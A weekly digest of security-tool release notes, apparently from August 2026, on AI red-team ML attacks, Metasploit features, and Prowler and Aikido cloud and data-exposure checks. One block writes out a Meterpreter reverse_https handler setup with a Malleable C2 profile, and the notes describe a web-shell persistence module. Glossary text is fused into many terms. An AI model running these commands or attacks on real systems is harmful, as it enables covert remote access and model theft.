This Week's Highlights — issue 006, August 8, 2026

Adds dn airt run-classifier CLI command to run classic-ML attacks directly against a predict endpoint without SDK code, covering four traditional-ML attack families in AIRT: evasion, extraction, membership inference, and model inversion. Includes 20+ named attacks (equation-solving, Jacobian, copycat, knockoff, PWWS, BAE, TextBugger, threshold, label-only, among others) across tabular, image, and text modalities, with per-finding adversarial trajectory traces and MITRE ATLASMITRE ATLASA MITRE-maintained knowledge base of adversarial tactics and techniques targeting AI and machine learning systems, modelled on ATT&CK, giving cyber tools a structured taxonomy for AI-specific threat modelling./SAIF/NIST compliance mappings. Findings carry richer metrics: extraction reports KL divergence and accuracy retention, membership inference reports attack accuracy, precision, and recall, and model inversion reports reconstruction quality from black-box query-based reconstruction of class-representative inputs.

New --project-memory-preload-limit flag sets the number of memories preloaded at session start (range: 1–200), replacing a hardcoded default of 20.

$ dn ... --project-memory-preload-limit 100

Adds dn capability sync and dn task sync CLI commands to pull hub content from SaaSSaaSSoftware delivered over the internet and run on the provider's infrastructure, so the buyer pays a subscription instead of installing or operating anything locally. (or another on-prem instance) into a local directory and push it to a self-hosted instance, enabling air-gapped on-prem loading.

New dn evaluation create --agent <name> flag specifies which agent runs in an evaluation; eval output reports which agent actually ran, aiding reproducibility.

$ dn evaluation create --agent <name>

Adds /report-bug command (or r in console) to the TUITUIA text-based user interface that runs inside a terminal, using characters and ANSI escape codes to render menus, panes, and widgets without a graphical desktop, letting cyber tools ship rich interactivity with no GUI dependency., assembling a privacy-reviewed diagnostic bundle and submitting it without losing logs after a crash.

$ /report-bug

Agent Output is now a severity-first triage workspace: findings can be searched, sorted, and filtered, and each finding can be exported to CSV, deep-linked, or copied into a report. Finding status and notes can now be edited directly from a finding's detail panel. On the Agent Outputs page, the Needs review and Critical + High stat cards are now clickable filter toggles, and the items grid gained a sortable Updated column.

Adds an Inactive filter to Agent Sessions to isolate sessions idle past 15 minutes but not yet archived. Adds a Last Msg relative-activity column and highlights sessions active in the last 15 minutes. Adds forward/backward transcript pagination with tailing mode. The sessions group-by control (None / Workflow / Capability / Agent / Source) is now available to all orgs, with workflow runs collapsed by default.

New web-security initial-recon skill provides structured reconnaissance for domain, wildcard, ASNASNAutonomous System Number — a globally unique identifier assigned by regional internet registries to a network operator, letting routing protocols distinguish which organization controls a block of IP addresses., IP-list, and CIDRCIDRA notation for a block of IP addresses, such as 10.0.0.0/24. The number after the slash says how many leading address bits identify the network. entry points using the ProjectDiscovery toolchain. Adds ASTASTAn abstract syntax tree, a structured representation of parsed code. Tools inspect or transform this tree to understand expressions and statements rather than just matching text.-based JS/TS static analysis via ast-grep in the web-security runtime, removing the need for semgrep, CodeQL, or a jxscout license.

Adds eight new MCP tools wrapping existing RPC endpoints for module and session control, backed by strict per-tool input validation, plus a --enable-dangerous-actions flag to the msfmcpd CLI to opt in to dangerous actions across those tools. Adds run_uuid job tracking across all module types when executed through RPC endpoints to support MCP tool integrations, and Bearer Authentication support to the MCP server plugin. Also adds resource and parents fields to the msf_service_info MCP tool, resource to msf_vulnerability_info, data to msf_note_info, and realm_key / realm_value to msf_credential_info.

$ msfmcpd --enable-dangerous-actions

Adds a MALLEABLEC2 option to all Meterpreter HTTP(S) payloads (Windows, Java, Python, PHP, Linux) to load a standard Malleable C2 profile and reshape HTTP(S) traffic. The Pro edition adds support for selecting Malleable C2 profiles from the single module run page, the payload generator, and the global persistent listeners page.

⤢ ⤢ ⤢

$ use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set MALLEABLEC2 /opt/profiles/jquery.profile
run

Extends CertificateTrace peer cert tracing (using the existing off / metadata / full enum) to LDAPLDAPA protocol for querying and modifying directory services, standardized under RFC 4511, commonly used to look up users, groups, and attributes in corporate identity stores like Active Directory. over TLS, RDPRDPA Microsoft protocol that lets a user view and control a remote Windows desktop over a network, giving cyber tools a standard channel to audit, attack-simulate, or monitor Windows systems remotely., and PostgreSQL over TLS (passing the SSLSSLA cryptographic protocol for encrypting network connections, now deprecated in favor of TLS but whose name persists colloquially. Cyber tools reference it when handling HTTPS or other encrypted-channel inspection and termination. datastore option through to the underlying Postgres connection), and to HTTP modules connecting over HTTPS. Adds a Certificate Signing Request (CSRCSRA Certificate Signing Request is a block of encoded data submitted to a certificate authority, containing a public key and identity details, so the CA can issue a signed TLS certificate without ever seeing the private key.) trace so operators can see the CSR printed when requesting certificates from AD CS.

Adds improved granularity to KerberosTicketTrace: operators can now print the full trace, only tickets, or only metadata. Reuses KerberosTicketTrace formatting for offline KerberosKerberosA network authentication protocol that uses tickets issued by a trusted service. Users and services can prove their identities without sending a password to each application. artifact workflows so stored and converted tickets render with the same output style as live authentication.

Adds ftp_fingerprint and ftp_list_directory methods to the Exploit::Remote::Ftp mixin, leveraging recog to fingerprint targets from their banners.

Adds four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures, plus reverse_tcp and bind_tcp stagers and a shell command stage for RISC-V 64-bit and 32-bit little-endian Linux targets.

Adds a new persistence module exploits/linux/persistence/apache_htaccess that plants a mod_cgi .htaccess web shell on Linux Apache targets.

Sensitive Data Traces pinpoint exactly where PIIPIIPersonally Identifiable Information — data that can identify a specific individual, such as names, email addresses, or SSNs. Cyber tools flag or redact it to limit exposure and meet privacy regulations., credentials, and API keys appear within a trace or session, with analysis by category, user, model, and tool over time.

The Sessions and Traces view provides end-to-end trace visibility with filterable session lists, span timelines, and full prompt, response, and tool-call payloads.

Goals and Monitors continuously evaluate live AI telemetry against user-defined targets, such as month-to-date token spend versus budget, alerting when thresholds are crossed.

A new Data Exposure Audit feature uses LLMLLMA large language model, a neural network trained on large amounts of text to recognize patterns and generate language. Applications use it for tasks such as answering, summarizing and writing code. agents to trace sensitive data from sources (request bodies, uploads, DB reads, config, application logic) to sinks (logs, third-party APIs, LLM prompts, caches, queues, storage) entirely from code, with no production data store connection required. It detects credential and token leakage in URLs, query strings, redirects, and clone URLs; identifies API over-exposure where endpoints return more fields than the caller is entitled to or lack tenant ownership checks; flags unsafe logging and exports of unredacted PIIPIIPersonally Identifiable Information — data that can identify a specific individual, such as names, email addresses, or SSNs. Cyber tools flag or redact it to limit exposure and meet privacy regulations. and secrets in logs, traces, caches, and dumps; surfaces over-broad third-party and AI data sharing to vendors, analytics, LLM prompts, and vector storesvector storesA database built to store embeddings and find the nearest ones to a query quickly. It is the retrieval half of most RAG systems.; detects weak storage patterns such as regulated data stored unencrypted or protected only with base64, MD5, or SHA-1SHA-1A cryptographic hash function standardized by NIST that produces a 160-bit digest; tools use it for file integrity checks, though it is now considered cryptographically broken and unsuitable for collision-resistant applications.; and finds incomplete deletion flows that leave downstream records, caches, shadow copies in staging, and snapshots intact. Each Data Exposure Audit consumes credits from the Aikido Wallet.

⤢

Adds a new huaweicloud provider authenticated via HUAWEICLOUD_ACCESS_KEY_ID and HUAWEICLOUD_SECRET_ACCESS_KEY environment variables, run with prowler huaweicloud. It ships 25 checks covering CTS, ECSECSElastic Common Schema, an open specification maintained by Elastic that defines a standard field naming convention for log and event data, letting cyber tools share and correlate records without per-source field mapping., ELB, EVS, IAMIAMIdentity and Access Management — a framework of policies and services for controlling who can authenticate to systems and what resources they are authorized to use, letting cyber tools enforce least-privilege and audit access., KMSKMSA managed service that creates, stores, rotates and controls access to encryption keys, usually backed by HSMs. Applications ask it to encrypt or decrypt rather than holding keys themselves., OBS, RDS, VPCVPCA logically isolated virtual network inside a public cloud provider's infrastructure, letting tools deploy resources with private addressing, controlled routing, and firewall rules without managing physical hardware., and WAFWAFA reverse proxy that inspects HTTP/HTTPS traffic and blocks requests matching known attack patterns such as SQL injection or XSS, sitting between clients and a web application to filter malicious input before it reaches the server., plus the CIS Huawei Cloud Foundations Benchmark 1.0.

$ export HUAWEICLOUD_ACCESS_KEY_ID="your-access-key-id"
export HUAWEICLOUD_SECRET_ACCESS_KEY="your-secret-access-key"
prowler huaweicloud

Extends the Prowler MCPMCPModel Context Protocol, a standard for connecting AI applications to external tools and data sources. A compatible server exposes capabilities an assistant can use through a common interface. Server (Cloud and self-hosted Local) with three tool families: Integrations (full lifecycle for Amazon S3, AWS Security Hub, and Jira — create, update, re-check, delete, and dispatch findings as Jira work items), Users (list tenant users and identify the authenticated user), and Roles (browse RBACRBACRole-based access control, where permissions are assigned to roles such as reader or administrator and users receive those roles. It makes access easier to manage than individual permission lists. roles, inspect capabilities, and set a user's role). A new prowler_cloud_* namespace of 32 Cloud-only MCP tools, exposed at https://mcp.prowler.com/mcp, covers Alerts (create/manage alert rules, dry-run conditions, browse fired-alert history), Findings Triage (set triage status and attach notes), Scan Scheduling (daily, interval, weekly, or monthly recurring scans per provider or bulk), and Scan Configurations (build reusable configs and attach to providers).

Attack Paths gained 20 new AWS privilege-escalation detection queries from pathfinding.cloud covering iam:PassRole escalations across AWS Batch, Braket, Cognito Identity, ECS, EMR, EMR Serverless, GameLift, Glue, EC2EC2Amazon's cloud virtual-machine service, letting tools run on-demand servers without managing physical hardware. Image Builder, Kinesis Analytics, HealthOmics, EventBridgeEventBridgeAWS's managed event bus service that routes events between cloud services, SaaS apps, and custom code using rules and targets, letting tools react to state changes without polling or managing message infrastructure. Scheduler, SSM, and Step Functions, plus CodeDeploy/Step Functions existing-resource abuse, permissions-boundary removal with role assumption, and IAM Identity Center permission-set policy injection. It also added four named queries — STS-002 (cross-account role trust), STS-003 (wildcard role trust), IAM-022 (user permissions-boundary removal), and SSO-001 (IAM Identity Center permission-set escalation).

The iam_policy_allows_privilege_escalation check gained 22 additional escalation combinations sourced from pathfinding.cloud, covering AWS Batch, Braket, CodeDeploy, Cognito Identity, ECS, EMR, EMR Serverless, GameLift, Glue, EC2 Image Builder, Kinesis Analytics, HealthOmics, and EventBridge Scheduler.

Adds 11 checks for AWS Nitro Enclaves: five ec2_confidential_workload_host_* checks for parent-instance hygiene (IMDSv2, public IP, ingress, vsock proxy ports, host state) and six kms_key_enclave_* checks for KMS attestation-policy correctness, mapped across 23 compliance frameworks including NIST 800-53NIST 800-53A catalog of security and privacy controls for U.S. federal information systems, published by NIST. Cyber tools cite it to map their findings or features to a recognized compliance framework. Rev 5, PCI-DSSPCI-DSSThe Payment Card Industry Data Security Standard, security requirements for protecting payment account data. It covers organizations that store, process or transmit that data and relevant service providers. v4.0, ISOISOA widely adopted international standards body that publishes technical specifications; cyber tools cite ISO standards to signal compliance with recognized benchmarks for quality, security, or interoperability. 27001:2022, SOC 2SOC 2An auditing framework from the American Institute of CPAs that certifies a service organization's controls around security, availability, and data handling, giving buyers assurance that a vendor meets baseline trust criteria., HIPAAHIPAAA US federal law enacted in 1996 that sets privacy and security requirements for protected health information, giving cyber tools a compliance baseline to enforce or audit against., and MITRE ATT&CK.

The Compliance view in Prowler Cloud now groups frameworks across all providers of the same type, rolling up into a consolidated posture with per-provider breakdown, findings drill-down, and a combined executive PDF report. Tabs are renamed to Single Scan and Multiple Scans, with Multiple Scans as the new default.

⤢ ⤢

Added admincenter_shared_bookings_disabled, defender_priority_account_protection_enabled, defender_strict_preset_security_policy_enabled, exchange_owa_mailbox_policy_personal_accounts_disabled, exchange_organization_reject_direct_send_enabled, teams_external_access_trial_tenants_blocked, entra_device_registration_join_restricted, entra_device_registration_max_devices_per_user_limited, entra_device_registration_global_admins_not_local_admins, entra_device_registration_registering_user_not_local_admin, entra_device_registration_laps_enabled, and entra_policy_default_user_cannot_read_bitlocker_keys checks for the M365 provider, mapped to CISCISA nonprofit that publishes consensus-based configuration benchmarks and controls for hardening operating systems, cloud environments, and software; cyber tools use it as a ready-made compliance baseline. Microsoft 365 Foundations Benchmark v7.0.0 controls 1.3.9, 2.4.1, 2.4.2, 6.3.2, 6.5.5, 8.2.4, and the 5.1.4.x device-registration family.

Adds codecommit_repository_no_secrets (with a new codecommit service) to scan files at the tip of each repository's default branch for hardcoded secrets, glue_catalog_connection_no_secrets to detect secrets in Glue Data Catalog connection properties, and sagemaker_endpoint_config_kms_encryption_enabled to verify SageMaker endpoint configurations use a KMS key for storage volume encryption.

Populates finding_info.analytic and finding_info.attacks in OCSFOCSFAn open schema standard, maintained by the OCSF community under CISA and industry backing, that defines a common event format so cyber tools can share and ingest log data without per-source normalization work. detection finding output with Prowler check rules and MITRE ATT&CKMITRE ATT&CKA publicly maintained knowledge base of adversary tactics and techniques observed in real attacks, maintained by MITRE. Cyber tools use it as a common taxonomy to classify, map, and communicate threat behavior. technique/tactic objects, for findings that carry MITRE ATT&CK compliance metadata.